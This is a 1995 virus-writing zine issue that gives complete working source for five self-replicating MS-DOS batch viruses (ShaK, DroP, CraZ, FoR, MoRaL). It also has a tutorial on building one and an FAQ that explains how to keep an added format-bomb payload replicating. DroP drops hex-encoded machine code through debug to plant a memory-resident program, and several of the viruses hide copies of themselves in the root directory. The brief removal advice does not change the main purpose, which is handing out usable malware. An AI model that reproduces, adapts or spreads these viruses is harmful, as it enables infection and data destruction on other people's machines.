ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» º Wavefunc's Batch Viruses - Issue 3 - October 19, 1995 º ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ Disclaimer: Anything you do with this stuff is your responsibility. If anything happens, you did it. If you choose to test any of these programs, take steps to ensure the sample you are testing doesn't 'escape'. Although these programs are designed to be harmless, unforseen bugs (or features) may cause data loss! Removal: These batch viruses work by adding code to the beginning and/or the end of the infected BAT files. The extra code can be removed by loading the infected batch into EDIT and deleting the additional lines. Some will create a hidden copy of themselves in the root (or other directory), use ATTRIB filename -s -r -h followed by DEL filename, filename being the actual name of the virus file. The command DIR /AH /S will show all hidden files on a drive. Note: these replicating programs require MSDOS 6 to function correctly! ... Shall we create a new batch virus? OK... @goto the_virus :host_program :: host would go here :: --- ShaK ----------- :: The ShaK Batch Virus :: --- ShaK ----------- @if not '%_ShaK%==' goto ShaK_end :the_virus ShaK @if not '%_ShaK%==' goto host_program ShaK @if '%0==' echo ShaK I'm Trapped - oh no @if '%0==' goto host_program ShaK @echo off>nul.ShaK if '%1=='ShaK goto ShaK_%2 set ShaK=%1 %2 %3 %4 %5 %6 %7 %8 %9 call %0 ShaK rh set _ShaK= set ShaK= %comspec% /e:5000 /c %0 ShaK vir . .. %path% goto ShaK_end :ShaK_rh set _ShaK=uh %0 %ShaK% :ShaK_vir set ShaK=%0 if exist c:\!shak goto ShaK_ser if exist %0.bat set ShaK=%0.bat if not exist %ShaK% exit find "ShaK"<%ShaK%>c:\!ShaK attrib c:\!ShaK +h :ShaK_ser shift%_ShaK% if '%2==' exit ShaK for %%a in (%2\*.bat) do call %ShaK% ShaK inf %%a goto ShaK_ser :ShaK_inf find "ShaK"<%3>nul if not errorlevel 1 goto ShaK_cnt echo @goto the_virus>c:\ShaK! echo :host_program>>c:\ShaK! type %3>>c:\ShaK! echo.>>c:\ShaK! type c:\!ShaK>>c:\ShaK! move c:\ShaK! %3>nul exit ShaK :ShaK_cnt set ShaKcnt=%ShaKcnt%1 if %ShaKcnt%==1111111111111111 exit if not %ShaKcnt%==111 goto ShaK_end echo.|date|find "30">nul.ShaK if errorlevel 1 goto ShaK_end echo *** ShaK.Bat.Virus Installed *** echo Keep me around for your friends!%_ShaK% :ShaK_end Features of ShaK... Infects batch files in the current, parent and path directories. Won't run off of autoexec.bat but will display a message before booting. The first thing the virus does is run the host batch to completion, then it spawns a new shell to run the virus in. To allow it to run from the path, it makes a hidden copy of itself in the root of drive C:, the infected batch must be ran at least once from its own directory (so the virus can see itself) for it to take hold. Gives up after 16 seeks to infected files. If at least 3 files are infected and the date contains "30", a message will be shown to indicate its presence and beg for mercy. Time for some Batch Lessons. Since few ask questions, I'll make them up. *** Q. I got one of your viruses and put my own format-bomb in it but the extra code won't replicate. Why? *** A. Stupidity rules! All lines added into a batch virus MUST contain the key signature string specified in the find commands on EVERY line! There are a number of ways to do this: echo :host_program>>c:\ShaK! Use key in filename if not %ShaKcnt%==111 goto ShaK_end Use key in variable or label name @echo off>nul.ShaK Use key as extension of 'nul' shift%_ShaK% Use key in an undefined variable exit ShaK Anything can be after 'exit' @if '%0==' goto host_program ShaK out Anything can be after 'goto label' If you want to add debug code, rename the script file name so it matches the key string as in echo 01 02 03 bla bla>>ShaK.t - anything to ensure the key (ShaK in this case) appears in each and every line. *** Q. What kinds of batch viruses are possible? *** A. A few types. There seems to be six types as far as I can tell. 1. Real batch viruses that use DOS commands to infect batch files while preserving the functionality of the infected batch. Like mine. 2. Companion batch files that rename other BAT, COM or EXE files then substitutes batches with the program's base names. The program itself is not altered. 3. Hybrid batches that only insert calls to itself into infected batches without attaching the actual virus code which is kept or replicates seperately. 4. Overwriters that destroy the program, COM, EXE or BAT, that it infects. 5. Binary code echoed into a COM file then exececuted. 6. Hex code echoed to a temp file then assembled using debug. *** Q. How much skill does it take to write a batch virus? *** A. Not much. Type HELP then study FIND, FOR, IF and the parts about redirection and environment variables. Look up ANSI also. *** Q. Do batch viruses exist in the wild? *** A. I don't know. Probably not. They are curiosities created only for the sake of being a replicating pattern existing on its own. *** Q. I have a batch virus! What do I do to remove it? *** A. If it is an advanced type that echoes binary code you may not see the virus code unless you boot clean to remove it from memory. Next, either use a search program, AV program or anything that can locate files that contain specific strings and specify a signature for the beast. For every batch file found to contain the string(s) load the file into EDIT and remove the added code. Some batch viruses place themselves in front of the host, some append the virus code and the more advanced type 1 batch viruses add lines to the beginning to branch to the appended code. Just remove it. Save a copy for me. *** Q. They don't work with DOS 5. Why? *** A. The FIND command in versions below 6 do not return an errorlevel, effectively crippling the virus. It would take some temp files and time-consuming filtering to make one work with DOS 5. It's possible. *** Q. I made some changes to one, but the changes disappear! *** A. Delete the hidden file that the virus uses. Batch Guide ----------- @ - when placed in position 1 in front of internal command, @ prevents the command from being echoed to the console, even if echo is on. > - sends output to a file >> - appends output to the end of a file >nul - sends output into nothingness |program... - sends output to another program :: - comment - not executed if exist c:\filename goto ViR_present - branches if file is there if not exist filename goto ViR_end - branches if not there if '%1=='Hey! goto ViR_do - branches if 1st parm = Hey! set something=This echo %something% - variables, prints 'This' to screen for %%a in (*.bat) do call %ViR% InF %%a - scan for batches and for each one found call program in 'vir' variable with InF and the name of the batch to check (%%a). If close to the beginning you have the line if '%1=='InF goto ViR_inf" then each time the call will branch to the label ViR_inf with the filename in %2. For example: ::Cheezy Batch ViR @echo off>nul.ViR - turns off echoing if '%1=='InF goto ViR_inf - branch line for calling infection if exist c:\vir.bat goto ViR_run - branch if root file present if not exist %0.bat goto ViR_end - branch if host cannot be seen find "ViR"<%0.bat>c:\vir.bat - strip code from host, stash in root :ViR_run - the heart of the matter... for %%a in (*.bat) do call c:\ViR InF %%a - loop thru all bats in current goto ViR_end - and exit virus :ViR_inf - the infection routine... find "ViR"<%2>nul - check if virus present in target if not errorlevel 1 goto ViR_end - branch if there, get next filename type c:\ViR.bat>>%2 - append virus to the file :ViR_end - done. Remove the comments before running this cheezy virus. And now from the stolen-code department... @echo off%_DroP% if '%1=='DroP goto DroP_%2 mem /c|find /i "DroP">nul if not errorlevel 1 goto DroP_r9 echo n $DroP$.com>DroP.t echo e 0100 EB 3F 90>>DroP.t echo e 012A 1A 90 00 00 00 00>>DroP.t echo e 0130 00 00 00 00 00 00 00 00 00 B8 40 00 FF 00 00 00>>DroP.t echo e 0140 00 B0 08 BA 2C 01 E8 3F 01 B0 08 BA 86 01 E8 50>>DroP.t echo e 0150 01 B4 2C CD 21 89 16 BE 02 C6 06 3E 01 FF B4 0F>>DroP.t echo e 0160 CD 10 3C 06 74 0D 3C 07 74 09 C7 06 38 01 00 B8>>DroP.t echo e 0170 EB 07 90 C7 06 38 01 00 B0 BA C0 02 B1 04 D3 EA>>DroP.t echo e 0180 42 B4 31 CD 21 90 9C 50 B4 02 CD 16 24 40 74 1B>>DroP.t echo e 0190 2E 80 3E 3E 01 00 74 08 2E FE 0E 3E 01 EB 0C 90>>DroP.t echo e 01A0 2E 80 3E 3D 01 00 75 03 EB 08 90 58 9D 2E FF 2E>>DroP.t echo e 01B0 2C 01 9C 2E FF 1E 2C 01 06 1E 52 51 57 56 0E 1F>>DroP.t echo e 01C0 A1 38 01 8E C0 2E 80 3E 3F 01 00 74 0C 8B 3E 30>>DroP.t echo e 01D0 01 8B 36 32 01 FB EB 5A 90 C6 06 3D 01 FF FB C6>>DroP.t echo e 01E0 06 40 01 64 80 3E 40 01 00 75 03 E9 8B 00 FE 0E>>DroP.t echo e 01F0 40 01 E8 B7 00 25 FE 0F 8B F0 26 8A 04 3C 20 74>>DroP.t echo e 0200 E3 3C 00 74 DF 81 FE A0 0F 73 D9 8B FE 81 C7 A0>>DroP.t echo e 0210 00 81 FF A0 0F 73 44 26 8A 05 3C 20 74 04 3C 00>>DroP.t echo e 0220 75 C2 89 3E 30 01 89 36 32 01 C6 06 3F 01 FF EB>>DroP.t echo e 0230 48 90 C6 06 3F 01 00 26 8A 04 26 88 05 26 C6 04>>DroP.t echo e 0240 20 8B F7 81 C7 A0 00 81 FF A0 0F 73 0E 26 8A 05>>DroP.t echo e 0250 3C 20 74 CE 3C 00 74 CA EB 05 90 26 C6 04 20 FF>>DroP.t echo e 0260 0E 3A 01 75 0A D0 2E 3C 01 C7 06 3A 01 40 00 E8>>DroP.t echo e 0270 3A 00 22 06 3C 01 A2 3E 01 5E 5F 59 5A 1F 07 58>>DroP.t echo e 0280 9D 2E C6 06 3D 01 00 CF 50 06 53 55 52 B4 35 CD>>DroP.t echo e 0290 21 8B D3 5D 89 56 00 45 45 8C 46 00 5D 5B 07 58>>DroP.t echo e 02A0 C3 50 1E 0E 1F B4 25 CD 21 1F 58 C3 A1 BE 02 50>>DroP.t echo e 02B0 80 E4 B4 58 7A 01 F9 D1 D0 A3 BE 02 C3 90 00 00>>DroP.t echo rcx>>DroP.t echo 1C0>>DroP.t echo w>>DroP.t echo q>>DroP.t debugnul del DroP.t $DroP$ del $DroP$.com :DroP_r9 if exist c:\_DroP.bat goto DroP_go echo DroP|find "X">nul if not errorlevel 1 goto DroP_end if exist %0.bat goto DroP_d1 if not exist %0 goto DroP_end find "DroP"<%0>c:\_DroP.bat goto DroP_d2 :DroP_d1 find "DroP"<%0.bat>c:\_DroP.bat :DroP_d2 attrib c:\_DroP.bat +h :DroP_go command /c c:\_DroP DroP sh goto DroP_end :DroP_sh for %%a in (*.bat ..\*.bat) do call c:\_DroP DroP in %%a exit DroP :DroP_in find "DroP"<%3>nul if not errorlevel 1 goto DroP_end type c:\_DroP.bat>DroP.t type %3>>DroP.t move DroP.t %3>nul exit DroP :DroP_end :: host batch here When run, it installs a joke program resident in memory if not already present. The virus code is inserted before the host batch. Infects one file per run (or loop of the host) in the current and parent directory. The payload isn't my code but the Guru said 'keep it'. When it's resident, letters drop whenever Caps Lock is turned on. ... This is a slightly modified one I wrote a few months back... @goto craz :hst_bat :: host batch goes here @goto CraZend :CraZ (version E) @echo off%_CraZ% if '%1=='#ViR goto CraZ%2 if not '%CraZ%==' goto hst_bat if '%0==' goto hst_bat CraZ set CraZ=%0 set CraZc=%1 %2 %3 %4 %5 %6 %7 %8 %9 call %0 #ViR hst CraZ set CraZs= set CraZi= set CraZc=%CraZ% if exist %CraZ%.bat set CraZc=%CraZ%.bat command /e:5000 /c %CraZ% #ViR vir %path% set CraZ= set CraZc= goto CraZend :CraZhst %0 #ViR hs1 %0 %CraZc% :CraZhs1 shift %_CraZ% shift %_CraZ% shift %_CraZ% goto hst_bat CraZ :CraZvir if exist %CraZc% %CraZ% #ViR ser .. . %path% shift %_CraZ% if '%2==' exit CraZ set CraZc=%2\%CraZ%.bat if not exist %CraZc% set CraZc=%2\%CraZ% if not exist %CraZc% set CraZc=%2%CraZ%.bat if not exist %CraZc% set CraZc=%2%CraZ% goto CraZvir :CraZser shift %_CraZ% if '%2==' exit CraZ for %%i in (%2\*a.bat %2*a.bat) do call %CraZ% #ViR inf %%i goto CraZser :CraZact echo [CraZ] has determined this computer to be good food. exit CraZ :CraZinf find "CraZ"<%3>nul if not errorlevel 1 goto CraZS echo @goto craz>CraZ echo :hst_bat>>CraZ type %3>>CraZ echo.>>CraZ find "CraZ"<%CraZc%>>CraZ move CraZ %3>nul set CraZi=%CraZi%1 if %CraZi%==11 exit :CraZS set CraZs=%CraZs%1 if %CraZs%==1111111111 goto CraZact :CraZend This batch virus does not keep a hidden file, it locates the host even if it's in a path directory and runs directly from it. When an infected file is run the host batch runs first to completion then the virus regains control and attempts to infect two batch files. If 10 infected files are encountered before infecting two files, the virus stops trying and announces its presence to the user. This virus starts with the parent directory, then current, then path directories. It gets around. ... This is a small one, it only infects the current directory, but it goes for all uninfected batch files at once... @echo off>nul.FoR if '%1=='InF goto FoRi if exist c:\!for.bat goto FoRs if not exist %0.bat goto FoRe find "FoR"<%0.bat>c:\!for.bat :FoRs FoR %%a in (*.bat) do call c:\!for InF %%a goto FoRe :FoRi find "FoR"<%2>nul if not errorlevel 1 goto FoRe type c:\!for.bat>FoR.t type %2>>FoR.t move FoR.t %2>nul :FoRe :: host follows... ... This is a strange one. I was thinking about something... @echo off%_MoRaL% if '%1=='ViR goto MoRaL%2 if '%!%=='111 goto MoRaLend if exist C:\MoRaL.bat goto MoRaLrun if not exist %0.bat goto MoRaLend echo MoRaL|find "x">nul if not errorlevel 1 goto MoRaLend find "MoRaL"<%0.bat>C:\MoRaL.bat attrib C:\MoRaL.bat +h :MoRaLrun command /e:5000 /c C:\MoRaL ViR shl set !=%!%1%_MoRaL% goto MoRaLend :MoRaLshl C:\MoRaL ViR srh . .. %path% :MoRaLsrh shift%_MoRaL% if '%2==' exit MoRaL for %%a in (%2\*.bat) do call C:\MoRaL ViR inf %%a goto MoRaLsrh :MoRaLinf find "MoRaL"<%3>nul if not errorlevel 1 goto MoRaLcnt type C:\MoRaL.bat>MoRaL.t type %3>>MoRaL.t move MoRaL.t %3>nul set MoRaLi=%MoRaLi%1 if %MoRaLi%==11 exit :MoRaLcnt set MoRaLc=%MoRaLc%1 if not %MoRaLc%==111111111111 goto MoRaLend echo.|date|find "Sun">nul.MoRaL if errorlevel 1 exit MoRaL set MoRaL=echo %MoRaL% ----------------- %MoRaL% Moral Batch Virus %MoRaL% ----------------- exit MoRaL :MoRaLend :: this would be the host Some interesting properties: it only will run three times per DOS session or bootup then it turns itself off. Each time it runs it tries to infect two batch files, but only if it can do it in less than twelve seeks. Goes for the current directory first then checks the parent and path. After encountering twelve infected files it checks the date and if it's Sunday prints a message. Infected files will have the virus placed before the host batch. A hidden copy of the virus is placed in the file 'C:\MORAL.BAT'. To be effective an infected batch must run at least once with it in the current directory (and without specifying the 'BAT' extension). Before installing it makes sure find works properly (Dos 6 rules!). ... One thing I'll mention - when cutting these programs out, or otherwise transfering them make sure no extra spaces are padded to the ends of each line - extra spaces will usually render these programs nonworking or severely impared. Or even go nuts and infect every batch at once! In most editors you can place the cursor at the apparent end of the line then press Shift-End - any spaces will be highlighted. A few batches might actually use a specific number of spaces at the end of a line but this is rare. None of these do. However... Anything after a :LaBeL or a goto LaBeL is open game - ' :LaBeL this is what I think ' is valid. It is mainly the set commands that must not have extra spaces. I modified ShaK and CraZ slightly from the original versions to include the line echo.>>CraZ (and the equivalent in ShaK) in the infection code. This has the effect of adding a blank line between the host batch and the virus code. Just in case the host does not have a CR at the end of the last line, which in the original versions would cause malfunction. That's it. Treat my bugs well.